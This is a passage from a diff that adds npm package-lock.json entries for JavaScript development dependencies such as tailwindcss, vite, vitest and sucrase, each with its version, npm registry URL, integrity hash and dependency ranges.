"sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.10.tgz", + "integrity": "sha512-rGXbGmOEosIQi6Qva94HUjgPs9vKW+dkG7Y8Q5O2OYkWL6wFaTRZO8zM4mhP94uX55wgyrXzfS2aGtGzUL7EJQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "regexp.prototype.flags": "^1.5.0", + "set-function-name": "^2.0.0", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz", + "integrity": "sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz", + "integrity": "sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz", + "integrity": "sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-final-newline": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz", + "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-literal": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/strip-literal/-/strip-literal-1.3.0.tgz", + "integrity": "sha512-PugKzOsyXpArk0yWmUwqOZecSO0GH0bPoctLcqNDH9J04pVW3lflYE0ujElBGTloevcxF5MofAOZ7C5l2b+wLg==", + "dev": true, + "dependencies": { + "acorn": "^8.10.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase/node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true + }, + "node_modules/tailwindcss": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.6.tgz", + "integrity": "sha512-AKjF7qbbLvLaPieoKeTjG1+FyNZT6KaJMJPFeQyLfIp7l82ggH1fbHJSsYIvnbTFQOlkh+gBYpyby5GT1LIdLw==", + "dev": true, + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tailwindcss/node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tinybench": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.5.1.tgz", + "integrity": "sha512-65NKvSuAVDP/n4CqH+a9w2kTlLReS9vhsAP06MWx+/89nMinJyB2icyl58RIcqCmIggpojIGeuJGhjU1aGMBSg==", + "dev": true + }, + "node_modules/tinypool": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-0.8.1.tgz", + "integrity": "sha512-zBTCK0cCgRROxvs9c0CGK838sPkeokNGdQVUUwHAbynHFlmyJYj825f/oRs528HaIJ97lo0pLIlDUzwN+IorWg==", + "dev": true, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tinyspy": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-2.2.0.tgz", + "integrity": "sha512-d2eda04AN/cPOR89F7Xv5bK/jrQEhmcLFe6HFldoeO9AJtps+fqEnh486vnT/8y4bw38pSyxDcTCAq+Ks2aJTg==", + "dev": true, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/totalist": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz", + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dev": true, + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.0.0.tgz", + "integrity": "sha512-tk2G5R2KRwBd+ZN0zaEXpmzdKyOYksXwywulIX95MBODjSzMIuQnQ3m8JxgbhnL1LeVo7lqQKsYa1O3Htl7K5g==", + "dev": true, + "dependencies": { + "punycode": "^2.3.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/tree-kill": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "dev": true, + "bin": { + "tree-kill": "cli.js" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==", + "dev": true + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz", + "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz", + "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz", + "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/ufo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.3.2.tgz", + "integrity": "sha512-o+ORpgGwaYQXgqGDwd+hkS4PuZ3QnmqMMxRuajK/a38L6fTpcE5GPIfrf+L/KemFzfUpeUQc1rRS1iDBozvnFA==", + "dev": true + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undici-types": { + "version": "5.26.5", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz", + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "dev": true + }, + "node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz", + "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/v8-to-istanbul": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.2.0.tgz", + "integrity": "sha512-/EH/sDgxU2eGxajKdwLCDmQ4FWq+kpi3uCmBGpw1xJtnAxEjlD8j8PEiGWpCIMIs3ciNAgH0d3TTJiUkYzyZjA==", + "dev": true, + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vite": { + "version": "5.4.6", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.6.tgz", + "integrity": "sha512-IeL5f8OO5nylsgzd9tq4qD2QqI0k2CQLGrWD0rCN0EQJZpBK5vJAx0I+GDkMOXxQX/OfFHMuLIx6ddAxGX/k+Q==", + "dev": true, + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vite-node": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-1.0.4.tgz", + "integrity": "sha512-9xQQtHdsz5Qn8hqbV7UKqkm8YkJhzT/zr41Dmt5N7AlD8hJXw/Z7y0QiD5I8lnTthV9Rvcvi0QW7PI0Fq83ZPg==", + "dev": true, + "dependencies": { + "cac": "^6.7.14", + "debug": "^4.3.4", + "pathe": "^1.1.1", + "picocolors": "^1.0.0", + "vite": "^5.0.0" + }, + "bin": { + "vite-node": "vite-node.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/vitest": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-1.0.4.tgz", + "integrity": "sha512-s1GQHp/UOeWEo4+aXDOeFBJwFzL6mjycbQwwKWX2QcYfh/7tIerS59hWQ20mxzupTJluA2SdwiBuWwQHH67ckg==", + "dev": true, + "dependencies": { + "@vitest/expect": "1.0.4", + "@vitest/runner": "1.0.4", + "@vitest/snapshot": "1.0.4", + "@vitest/spy": "1.0.4", + "@vitest/utils": "1.0.4", + "acorn-walk": "^8.3.0", + "cac": "^6.7.14", + "chai": "^4.3.10", + "debug": "^4.3.4", + "execa": "^8.0.1", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.5", + "pathe": "^1.1.1", + "picocolors": "^1.0.0", + "std-env": "^3.5.0", + "strip-literal": "^1.3.0", + "tinybench": "^2.5.1", + "tinypool": "^0.8.1", + "vite": "^5.0.0", + "vite-node": "1.0.4", + "why-is-node-running": "^2.2.2" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@types/node": "^18.0.0 || >=20.0.0", + "@vitest/browser": "^1.0.0", + "@vitest/ui": "^1.0.0", + "happy-dom": "*", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + } + } + }, + "node_modules/w3c-xmlserializer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", + "dev": true, + "dependencies": { + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-encoding": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", + "dev": true, + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-encoding/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": 